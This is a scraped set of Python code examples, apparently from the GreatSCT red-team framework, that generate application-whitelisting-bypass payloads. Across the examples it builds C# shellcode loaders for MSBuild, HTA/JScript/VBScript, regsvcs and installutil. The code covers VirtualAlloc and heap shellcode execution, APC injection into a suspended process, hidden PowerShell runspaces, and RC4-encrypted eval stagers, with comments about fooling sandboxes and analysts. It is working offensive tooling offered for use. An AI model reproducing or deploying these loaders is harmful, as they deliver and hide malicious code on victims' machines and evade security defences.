        powershellCmd = bypass_helpers.randomString()
        data = bypass_helpers.randomString()
        command = bypass_helpers.randomString()
        RunPSCommand = bypass_helpers.randomString()
        cmd = bypass_helpers.randomString()
        runspace = bypass_helpers.randomString()
        scriptInvoker = bypass_helpers.randomString()
        pipeline = bypass_helpers.randomString()
        results = bypass_helpers.randomString()
        stringBuilder = bypass_helpers.randomString()
        obj = bypass_helpers.randomString()
        RunPSFile = bypass_helpers.randomString()
        script = bypass_helpers.randomString()
        ps = bypass_helpers.randomString()
        e = bypass_helpers.randomString()

        payload_code += """string {0} = "{1}";
                    string {2} = "";

                    byte[] {3} = Convert.FromBase64String({0});
                    string {4} = Encoding.ASCII.GetString({3});
                    {2} = {4};

                    try
                    {{
                        Console.Write({5}({2}));
                    }}
                    catch (Exception {6})
                    {{
                        Console.Write({6}.Message);
                    }}""".format(encodedScript, encodedScriptContents, powershellCmd, data, command, RunPSCommand, e)

        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        payload_code +="""}}

                public static string {0}(string {1})
                {{

                    Runspace {2} = RunspaceFactory.CreateRunspace();
                    {2}.Open();
                    RunspaceInvoke {3} = new RunspaceInvoke({2});
                    Pipeline {4} = {2}.CreatePipeline();


                    {4}.Commands.AddScript({1});


                    {4}.Commands.Add("Out-String");
                    Collection<PSObject> {5} = {4}.Invoke();
                    {2}.Close();


                    StringBuilder {6} = new StringBuilder();
                    foreach (PSObject {7} in {5})
                    {{
                        {6}.Append({7});
                    }}
                    return {6}.ToString().Trim();
                 }}

                 public static void {8}(string {9})
                {{
                    PowerShell {10} = PowerShell.Create();
                    {10}.AddScript({9}).Invoke();
                }}""".format(RunPSCommand, cmd, runspace, scriptInvoker, pipeline, results, stringBuilder, obj, RunPSFile, script, ps)

        payload_code += "\n}"
        self.payload_source_code = payload_code
        return
Example #9
0
    def generate(self):

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])

        # randomize all our variable names, yo'
        targetName = bypass_helpers.randomString()
        namespaceName = bypass_helpers.randomString()
        className = bypass_helpers.randomString()
        bytearrayName = bypass_helpers.randomString()
        funcAddrName = bypass_helpers.randomString()

        hThreadName = bypass_helpers.randomString()
        threadIdName = bypass_helpers.randomString()
        pinfoName = bypass_helpers.randomString()
        num_tabs_required = 0

        # get 12 random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(12)]
        y = [bypass_helpers.randomString() for x in range(17)]

        # The header for MSBuild XML files
        # TODO: Fix the awful formatting
        msbuild_header = """<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">\n<!-- C:\Windows\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe SimpleTasks.csproj -->\n\t<Target Name="{0}">
            <{1} />
          </Target>
          <UsingTask
            TaskName="{1}"
            TaskFactory="CodeTaskFactory"
            AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
            <Task>

              <Code Type="Class" Language="cs">
              <![CDATA[
        """.format(targetName, className)

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;\n"
        payload_code += "public class %s : Task, ITask {\n" % (className)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 2

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % (
                bytearrayName, Shellcode)
            payload_code += '\t' * num_tabs_required + "UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, bytearrayName)
            payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                bytearrayName, funcAddrName, bytearrayName)
            payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName, threadIdName, pinfoName)
            payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            rand_heap = bypass_helpers.randomString()
            rand_ptr = bypass_helpers.randomString()
            rand_var = bypass_helpers.randomString()

            payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};\n" % (
                bytearrayName, Shellcode)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                rand_heap, bytearrayName)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                rand_ptr, rand_heap, bytearrayName)
            payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                rand_ptr, bytearrayName, bytearrayName)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(
                rand_var)
            payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, rand_ptr, rand_var)
            payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);\n'.format(
                hThreadName)

        while (num_tabs_required != 0):
            if num_tabs_required == 2:
                # return true for the msbuild Execute() function
                payload_code += "\nreturn true;"
                payload_code += '\t' * num_tabs_required + '}'
                num_tabs_required -= 1
            else:
                payload_code += '\t' * num_tabs_required + '}'
                num_tabs_required -= 1

        payload_code += "\n\t\t\t\t]]>\n\t\t\t</Code>\n\t\t</Task>\n\t</UsingTask>\n</Project>"
        payload_code = msbuild_header + payload_code

        self.payload_source_code = payload_code
        return
Example #10
0
    def generate(self):
        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])
        Shellcode = base64.b64encode(bytes(Shellcode,
                                           'latin-1')).decode('ascii')

        # randomize all our variables, yo
        x86 = bypass_helpers.randomString()
        # generate a random key
        key = bypass_helpers.randomString().lower()

        # figure out a sane way to generate two separate instances of shellcode within the framework
        # currently, only 32 bit payload shellcode will work

        payload_code, num_tabs_required = gamemaker.senecas_games(self)
        code = ""
        num_tabs = 0

        bytearrayName = bypass_helpers.randomString()
        className = "HelloWorld"
        processMigrate = "Print"
        processMigratex86 = bypass_helpers.randomString()
        processMigrateProcessPath = bypass_helpers.randomString()
        processMigrateShellcode = bypass_helpers.randomString()
        shellCode = bypass_helpers.randomString()
        startupInfo = bypass_helpers.randomString()
        processInformation = bypass_helpers.randomString()
        success = bypass_helpers.randomString()
        resultPtr = bypass_helpers.randomString()
        bytesWritten = bypass_helpers.randomString()
        resultBool = bypass_helpers.randomString()
        oldProtect = bypass_helpers.randomString()
        targetProc = bypass_helpers.randomString()
        currentThreads = bypass_helpers.randomString()
        sht = bypass_helpers.randomString()
        ptr = bypass_helpers.randomString()
        ThreadHandle = bypass_helpers.randomString()

        code += "using System;\nusing System.Diagnostics;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Linq;\n\n"
        code += "[ComVisible(true)]\n"
        code += "public class {0}\n".format(className)
        code += "{\n"

        num_tabs += 1

        code += "\t" * num_tabs + "public {0}()\n".format(className)
        code += "\t" * num_tabs + "{\n\n"
        code += "\t" * num_tabs + "}\n\n"
        code += "\t" * num_tabs + "public void {0}(string {1})\n".format(
            processMigrate, processMigratex86)
        code += "\t" * num_tabs + "{\n"
        code += "\t" * num_tabs + payload_code
        code += "\t" * num_tabs + "string {0};\n".format(
            processMigrateShellcode)
        code += "\t" * num_tabs + "string {0};\n".format(
            processMigrateProcessPath)
        code += "\t" * num_tabs + "\t{0} = {1};\n".format(
            processMigrateShellcode, processMigratex86)
        code += "\t" * num_tabs + "\t{0} = \"{1}\";\n\n".format(
            processMigrateProcessPath, "C:\\\\Windows\\\\System32\\\\" +
            self.required_options["PROCESS"][0])
        code += '\t' * num_tabs + "\tstring %s = System.Text.ASCIIEncoding.ASCII.GetString(Convert.FromBase64String(%s));\n" % (
            bytearrayName, processMigrateShellcode)
        code += '\t' * num_tabs + "\tstring[] chars = %s.Split(',').ToArray();\n" % (
            bytearrayName)
        code += '\t' * num_tabs + "\tbyte[] %s = new byte[chars.Length];\n" % (
            shellCode)
        code += '\t' * num_tabs + \
                    "\tfor (int i = 0; i < chars.Length; ++i) { %s[i] = Convert.ToByte(chars[i], 16); }\n" % (
                        shellCode)
        code += "\t" * num_tabs + "\tSTARTUPINFO {0} = new STARTUPINFO();\n".format(
            startupInfo)
        code += "\t" * num_tabs + "\tPROCESS_INFORMATION {0} = new PROCESS_INFORMATION();\n".format(
            processInformation)
        code += "\t" * num_tabs + "\tbool {0} = CreateProcess({1}, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW , IntPtr.Zero, null, ref {2}, out {3});\n".format(
            success, processMigrateProcessPath, startupInfo,
            processInformation)
        code += "\t" * num_tabs + "\tIntPtr {0} = VirtualAllocEx({1}.hProcess, IntPtr.Zero, {2}.Length, MEM_COMMIT, PAGE_READWRITE);\n".format(
            resultPtr, processInformation, shellCode)
        code += "\t" * num_tabs + "\tIntPtr {0} = IntPtr.Zero;\n".format(
            bytesWritten)
        code += "\t" * num_tabs + "\tbool {0} = WriteProcessMemory({1}.hProcess,{2},{3},{4}.Length, out {5});\n".format(
            resultBool, processInformation, resultPtr, shellCode, shellCode,
            bytesWritten)
        code += "\t" * num_tabs + "\tuint {0} = 0;\n".format(oldProtect)
        code += "\t" * num_tabs + "\t{0} = VirtualProtectEx({1}.hProcess, {2}, {3}.Length, PAGE_EXECUTE_READ, out {4} );\n".format(
            resultBool, processInformation, resultPtr, shellCode, oldProtect)
        code += "\t" * num_tabs + "\tProcess {0} = Process.GetProcessById((int){1}.dwProcessId);\n".format(
            targetProc, processInformation)
        code += "\t" * num_tabs + "\tProcessThreadCollection {0} = {1}.Threads;\n".format(
            currentThreads, targetProc)
        code += "\t" * num_tabs + "\tIntPtr {0} = OpenThread(ThreadAccess.SET_CONTEXT, false, {1}[0].Id);\n".format(
            sht, currentThreads)
        code += "\t" * num_tabs + "\tIntPtr {0} = QueueUserAPC({1},{2},IntPtr.Zero);\n".format(
            ptr, resultPtr, sht)
        code += "\t" * num_tabs + "\tIntPtr {0} = {1}.hThread;\n".format(
            ThreadHandle, processInformation)
        code += "\t" * num_tabs + "\tResumeThread({0});\n".format(ThreadHandle)
        code += "\t" * num_tabs + "}\n"
        code += """
            private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READ = 0x20;
            private static UInt32 PAGE_READWRITE = 0x04;

            [Flags]
            public enum ProcessAccessFlags : uint
            {
                All = 0x001F0FFF,
                Terminate = 0x00000001,
                CreateThread = 0x00000002,
                VirtualMemoryOperation = 0x00000008,
                VirtualMemoryRead = 0x00000010,
                VirtualMemoryWrite = 0x00000020,
                DuplicateHandle = 0x00000040,
                CreateProcess = 0x000000080,
                SetQuota = 0x00000100,
                SetInformation = 0x00000200,
                QueryInformation = 0x00000400,
                QueryLimitedInformation = 0x00001000,
                Synchronize = 0x00100000
            }
            
            [Flags]
            public enum ProcessCreationFlags : uint
            {
                ZERO_FLAG = 0x00000000,
                CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
                CREATE_DEFAULT_ERROR_MODE = 0x04000000,
                CREATE_NEW_CONSOLE = 0x00000010,
                CREATE_NEW_PROCESS_GROUP = 0x00000200,
                CREATE_NO_WINDOW = 0x08000000,
                CREATE_PROTECTED_PROCESS = 0x00040000,
                CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
                CREATE_SEPARATE_WOW_VDM = 0x00001000,
                CREATE_SHARED_WOW_VDM = 0x00001000,
                CREATE_SUSPENDED = 0x00000004,
                CREATE_UNICODE_ENVIRONMENT = 0x00000400,
                DEBUG_ONLY_THIS_PROCESS = 0x00000002,
                DEBUG_PROCESS = 0x00000001,
                DETACHED_PROCESS = 0x00000008,
                EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
                INHERIT_PARENT_AFFINITY = 0x00010000
            }

            public struct PROCESS_INFORMATION
            {
                public IntPtr hProcess;
                public IntPtr hThread;
                public uint dwProcessId;
                public uint dwThreadId;
            }

            public struct STARTUPINFO
            {
                public uint cb;
                public string lpReserved;
                public string lpDesktop;
                public string lpTitle;
                public uint dwX;
                public uint dwY;
                public uint dwXSize;
                public uint dwYSize;
                public uint dwXCountChars;
                public uint dwYCountChars;
                public uint dwFillAttribute;
                public uint dwFlags;
                public short wShowWindow;
                public short cbReserved2;
                public IntPtr lpReserved2;
                public IntPtr hStdInput;
                public IntPtr hStdOutput;
                public IntPtr hStdError;
            }
            
            [Flags]
            public enum ThreadAccess : int
            {
                TERMINATE           = (0x0001)  ,
                SUSPEND_RESUME      = (0x0002)  ,
                GET_CONTEXT         = (0x0008)  ,
                SET_CONTEXT         = (0x0010)  ,
                SET_INFORMATION     = (0x0020)  ,
                QUERY_INFORMATION       = (0x0040)  ,
                SET_THREAD_TOKEN    = (0x0080)  ,
                IMPERSONATE         = (0x0100)  ,
                DIRECT_IMPERSONATION    = (0x0200)
            }
            
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
                int dwThreadId);

            
            [DllImport("kernel32.dll",SetLastError = true)]
            public static extern bool WriteProcessMemory(
                IntPtr hProcess,
                IntPtr lpBaseAddress,
                byte[] lpBuffer,
                int nSize,
                out IntPtr lpNumberOfBytesWritten);
            
            [DllImport("kernel32.dll")]
            public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
            
            [DllImport("kernel32.dll", SetLastError = true )]
            public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
            Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

            [DllImport("kernel32.dll")]
            static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
            int dwSize, uint flNewProtect, out uint lpflOldProtect);
            
            [DllImport("kernel32.dll")]
            public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
                                    bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,
                                    string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

            [DllImport("kernel32.dll")]
            public static extern uint ResumeThread(IntPtr hThread);

            [DllImport("kernel32.dll")]
            public static extern uint SuspendThread(IntPtr hThread);
            }
            """

        with open("/tmp/hta_source.cs", "w") as f:
            f.write(code)

        if self.required_options["SCRIPT_TYPE"][0].lower() == "jscript":

            with open("/tmp/migrate.js", "w") as ff:
                ff.write("o.Print({0});".format(x86))
            os.system(
                "mcs -platform:x86 -target:library -sdk:2 {0} -out:/tmp/dotnettojscript.dll"
                .format("/tmp/hta_source.cs"))
            os.system(
                "WINEPREFIX=/root/.greatsct wine /usr/share/greatsct/DotNetToJScript.exe /tmp/dotnettojscript.dll -ver auto -c HelloWorld -o {0} -s /tmp/migrate.js"
                .format("/tmp/greatsct.js"))
            with open("/tmp/greatsct.js", 'r') as original:
                data = original.read()

            with open("/tmp/greatsct.js", 'w') as modified:
                modified.write(
                    "<script language=\"JScript\">\n\nvar {0} = \"{1}\";\n\n".
                    format(x86, Shellcode) + data +
                    "\nwindow.close();\n</script>")

            with open("/tmp/greatsct.js", "r") as js:
                payload = js.read()

            if self.required_options["ENCRYPTION"][0].lower() != "x":

                encrypted_payload = encryption.rc4(key, payload)
                encrypted_payload = base64.standard_b64encode(
                    bytes(encrypted_payload, "latin-1")).decode("ascii")

                # rc4 = bypass_helpers.randomString()
                # jskey = bypass_helpers.randomString()
                # string = bypass_helpers.randomString()
                # s = bypass_helpers.randomString()
                # j = bypass_helpers.randomString()
                # x = bypass_helpers.randomString()
                # TODO obfuscate
                source_code = "<script language = \"javascript\">"
                # Based on code from https://github.com/mdsecactivebreach/SharpShooter
                source_code += """rc4 = function(key, str) {
                var s = [], j = 0, x, res = '';
                for (var i = 0; i < 256; i++) {
                    s[i] = i;
                }
                for (i = 0; i < 256; i++) {
                    j = (j + s[i] + key.charCodeAt(i % key.length)) % 256;
                    x = s[i];
                    s[i] = s[j];
                    s[j] = x;
                }
                i = 0;
                j = 0;
                for (var y = 0; y < str.length; y++) {
                    i = (i + 1) % 256;
                    j = (j + s[i]) % 256;
                    x = s[i];
                    s[i] = s[j];
                    s[j] = x;
                    res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]);
                }
                return res;
            }

            decodeBase64 = function(s) {
                var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;
                var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
                for(i=0;i<64;i++){e[A.charAt(i)]=i;}
                for(x=0;x<L;x++){
                    c=e[s.charAt(x)];b=(b<<6)+c;l+=6;
                    while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}
                }
                return r;
            };"""

                source_code += '\nvar b64block = "{0}";'.format(
                    encrypted_payload)
                source_code += "\nvar decoded = decodeBase64(b64block);"
                source_code += "\nvar plain = rc4(\"{0}\", decoded);".format(
                    key)
                source_code += "\neval(plain);"
                source_code += "\n</script>"

            else:
                source_code = payload

        elif self.required_options["SCRIPT_TYPE"][0].lower() == "vbscript":
            # do stuff

            with open("/tmp/migrate.vbs", "w") as ff:
                ff.write("o.Print {0}".format(x86))
            os.system(
                "mcs -platform:x86 -target:library -sdk:2 {0} -out:/tmp/dotnettojscript.dll"
                .format("/tmp/hta_source.cs"))
            os.system(
                "WINEPREFIX=/root/.greatsct wine /usr/share/greatsct/DotNetToJScript.exe /tmp/dotnettojscript.dll -ver auto -l vbscript -c HelloWorld -o {0} -s /tmp/migrate.vbs"
                .format("/tmp/greatsct.vbs"))

            with open("/tmp/greatsct.vbs", 'r') as original:
                data = original.read()

            with open("/tmp/greatsct.vbs", 'w') as modified:
                modified.write(
                    "<script language=\"VBScript\">\n\n\nDim {0} : {0} = \"{1}\"\n\n"
                    .format(x86, Shellcode) + data +
                    "\nSelf.Close()\n</script>")

            with open("/tmp/greatsct.vbs", "r") as vbs:
                payload = vbs.read()

            if self.required_options["ENCRYPTION"][0].lower() != "x":

                encrypted_payload = encryption.rc4(key, payload)
                encrypted_payload = base64.standard_b64encode(
                    bytes(encrypted_payload, "latin-1")).decode("ascii")

                # Based on code from https://github.com/mdsecactivebreach/SharpShooter
                # TODO: obfuscate
                source_code = ""

                source_code += """rc4 = function(key, str) {
                var s = [], j = 0, x, res = '';
                for (var i = 0; i < 256; i++) {
                    s[i] = i;
                }
                for (i = 0; i < 256; i++) {
                    j = (j + s[i] + key.charCodeAt(i % key.length)) % 256;
                    x = s[i];
                    s[i] = s[j];
                    s[j] = x;
                }
                i = 0;
                j = 0;
                for (var y = 0; y < str.length; y++) {
                    i = (i + 1) % 256;
                    j = (j + s[i]) % 256;
                    x = s[i];
                    s[i] = s[j];
                    s[j] = x;
                    res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]);
                }
                return res;
            }

            decodeBase64 = function(s) {
                var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;
                var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
                for(i=0;i<64;i++){e[A.charAt(i)]=i;}
                for(x=0;x<L;x++){
                    c=e[s.charAt(x)];b=(b<<6)+c;l+=6;
                    while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}
                }
                return r;
            };"""

                source_code += '\nvar b64block = "{0}";'.format(
                    encrypted_payload)
                source_code += "\nvar decoded = decodeBase64(b64block);"
                source_code += "\nvar plain = rc4(\"{0}\", decoded);".format(
                    key)
                source_code += "\n</script>"
                source_code += "\n<script language = \"vbscript\">"
                source_code += "\nExecute plain"
                source_code += "\nself.close"
                source_code += "</script>"
                source_code = "<script language = \"javascript\">\n" + source_code
            else:
                source_code = payload
        else:
            print("Script type not supported")

        self.payload_source_code = source_code
        return
Example #11
0
    def generate(self):

        with open(self.required_options["SCRIPT"][0], "r") as f:
            the_script = f.read()

        if self.required_options["FUNCTION"][0].lower() != "x":
            # Append FUNCTION to end of script
            the_script += "\n{0}".format(self.required_options["FUNCTION"][0])
            FunctionName = self.required_options["FUNCTION"][0]

        if self.required_options["OBFUSCATION"][0].lower() != "x":
            if self.required_options["OBFUSCATION"][0].lower() == "binary":
                the_script = invoke_obfuscation.binaryEncode(the_script)
            elif self.required_options["OBFUSCATION"][0].lower() == "ascii":
                the_script = invoke_obfuscation.asciiEncode(the_script)
            else:
                the_script = invoke_obfuscation.binaryEncode(the_script)

        # randomize all our variable names, yo'
        className = bypass_helpers.randomString()
        classNameTwo = bypass_helpers.randomString()
        namespace = bypass_helpers.randomString()
        key = bypass_helpers.randomString()
        execName = bypass_helpers.randomString()

        num_tabs_required = 0

        # get random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(16)]
        y = [bypass_helpers.randomString() for x in range(17)]

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Threading; using System.EnterpriseServices; using System.Runtime.InteropServices; using System.Windows.Forms;using System.Reflection; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text;\n"
        payload_code += "namespace {0}\n {{".format(namespace)
        payload_code += "\n\tpublic class {0} : ServicedComponent {{\n".format(
            className)
        # placeholder for legitimate C# program
        # lets add a message box to throw offf sandbox heuristics and analysts :)
        payload_code += '\n\t\tpublic {0}() {{ Console.WriteLine("doge"); }}\n'.format(
            className)
        payload_code += "\n\t\t[ComRegisterFunction]"
        payload_code += "\n\t\tpublic static void RegisterClass ( string {0} )\n\t\t{{\n".format(
            key)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n".format(
            classNameTwo, execName)
        payload_code += "\n[ComUnregisterFunction]"
        payload_code += "\n\t\tpublic static void UnRegisterClass ( string {0} )\n\t\t{{\n".format(
            key)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n\t}}\n".format(
            classNameTwo, execName)

        payload_code += "\n\tpublic class {0}\n\t{{".format(classNameTwo)
        payload_code += "\n\t\tpublic static void {0}() {{\n".format(execName)
        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        encodedScript = bypass_helpers.randomString()
        encodedScriptContents = base64.b64encode(bytes(
            the_script, 'latin-1')).decode('ascii')
        powershellCmd = bypass_helpers.randomString()
        data = bypass_helpers.randomString()
        command = bypass_helpers.randomString()
        RunPSCommand = bypass_helpers.randomString()
        cmd = bypass_helpers.randomString()
        runspace = bypass_helpers.randomString()
        scriptInvoker = bypass_helpers.randomString()
        pipeline = bypass_helpers.randomString()
        results = bypass_helpers.randomString()
        stringBuilder = bypass_helpers.randomString()
        obj = bypass_helpers.randomString()
        RunPSFile = bypass_helpers.randomString()
        script = bypass_helpers.randomString()
        ps = bypass_helpers.randomString()
        e = bypass_helpers.randomString()

        payload_code += """string {0} = "{1}";
                    string {2} = "";

                    byte[] {3} = Convert.FromBase64String({0});
                    string {4} = Encoding.ASCII.GetString({3});
                    {2} = {4};

                    try
                    {{
                        Console.Write({5}({2}));
                    }}
                    catch (Exception {6})
                    {{
                        Console.Write({6}.Message);
                    }}""".format(encodedScript, encodedScriptContents,
                                 powershellCmd, data, command, RunPSCommand, e)

        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        payload_code += """}}

                public static string {0}(string {1})
                {{

                    Runspace {2} = RunspaceFactory.CreateRunspace();
                    {2}.Open();
                    RunspaceInvoke {3} = new RunspaceInvoke({2});
                    Pipeline {4} = {2}.CreatePipeline();


                    {4}.Commands.AddScript({1});


                    {4}.Commands.Add("Out-String");
                    Collection<PSObject> {5} = {4}.Invoke();
                    {2}.Close();


                    StringBuilder {6} = new StringBuilder();
                    foreach (PSObject {7} in {5})
                    {{
                        {6}.Append({7});
                    }}
                    return {6}.ToString().Trim();
                 }}

                 public static void {8}(string {9})
                {{
                    PowerShell {10} = PowerShell.Create();
                    {10}.AddScript({9}).Invoke();
                }}""".format(RunPSCommand, cmd, runspace, scriptInvoker,
                             pipeline, results, stringBuilder, obj, RunPSFile,
                             script, ps)

        payload_code += "\n}" * 2

        self.payload_source_code = payload_code
        return
Example #12
0
    def generate(self):
        # get random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(16)]
        y = [bypass_helpers.randomString() for x in range(17)]

        # installutil random class variables
        className = bypass_helpers.randomString()
        classNameTwo = bypass_helpers.randomString()
        classNameThree = bypass_helpers.randomString()
        execName = bypass_helpers.randomString()
        savedStateName = bypass_helpers.randomString()

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms;\n"
        payload_code += "\tpublic class {0} {{\n".format(className)
        payload_code += "\t\tpublic static void Main()\n\t\t{\n"
        # lets add a message box to throw offf sandbox heuristics and analysts :)
        # there is no decryption routine, troll.level = 9000
        # TODO: add a fake decryption function that does nothing and accepts messWithAnalystName as a parameter.
        payload_code += "\t\t\twhile(true)\n{{ MessageBox.Show(\"doge\"); Console.ReadLine();}}\n"
        payload_code += "\t\t}\n\t}\n\n"
        payload_code += "\t[System.ComponentModel.RunInstaller(true)]\n"
        payload_code += "\tpublic class {0} : System.Configuration.Install.Installer\n\t{{\n".format(
            classNameTwo)
        payload_code += "\t\tpublic override void Uninstall(System.Collections.IDictionary {0})\n\t\t{{\n".format(
            savedStateName)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n\t}}\n".format(
            classNameThree, execName)
        payload_code += "\n\tpublic class {0}\n\t{{".format(classNameThree)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
